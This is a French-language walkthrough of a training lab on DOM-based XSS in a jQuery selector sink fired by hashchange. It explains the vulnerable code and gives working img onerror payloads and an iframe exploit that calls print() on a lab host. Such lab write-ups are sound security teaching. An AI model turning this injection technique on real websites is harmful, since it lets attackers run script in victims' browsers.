XSS DOM avec jQuery et événement hashchange

DOM XSS in jQuery selector sink using a hashchange event

Lab: DOM XSS in jQuery selector sink using a hashchange event | Web Security AcademyWebSecAcademy

Ce laboratoire contient une vulnérabilité XSS côté client sur la page d'accueil. Le code utilise la fonction sélecteur $() de jQuery pour cibler automatiquement un article dont le titre est passé via location.hash. L'objectif du lab est d'obtenir un exploit qui, lorsqu'un visiteur l'ouvre, appelle print() dans son navigateur.

$(window).on('hashchange', function(){
   var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
   if (post) post.get(0).scrollIntoView();
});

• La fonction récupère le fragment d'URL (window.location.hash), en retire le # avec slice(1) et le décode avec decodeURIComponent.

• Ce texte est ensuite concaténé directement dans un sélecteur jQuery :contains(...). Comme il n'y a pas d'échappement, un contenu spécialement construit peut casser la syntaxe et injecter du HTML/JS via des vecteurs comme des attributs onerror.

• Le code déclenche l'action uniquement quand le hash change (hashchange), donc un simple lien initial sans hash ne déclenchera rien tant que le fragment ne sera pas modifié côté client.

• On profite du fait que la modification du # déclenche l'événement. L'exploit doit donc forcer le navigateur de la victime à charger une URL avec un fragment contenant le payload.

• Une méthode courante consiste à utiliser un <iframe> référençant la page cible, puis, lors du onload, à modifier dynamiquement son src pour y ajouter le fragment malveillant (ce qui provoquera le hashchange et l'exécution du sélecteur vulnérable).

• Le payload injecté doit provoquer l'exécution de print() dans le contexte de la victime.

Injection basique pour provoquer une erreur d'image (test) :

#<img src="test" onerror=alert(0)>

• Exploit via iframe — première version (alerte) :

<iframe src="https://0ae1001d04e8f3e6821eeced00310035.web-security-academy.net/#" onload="this.src += '<img src=0 onerror=alert(0)>'"></iframe>

• Exploit final visant print() (version adaptée) :

<iframe src="https://0ae1001d04e8f3e6821eeced00310035.web-security-academy.net/#" onload="this.src += '<img src=0 onerror=print()>'"></iframe>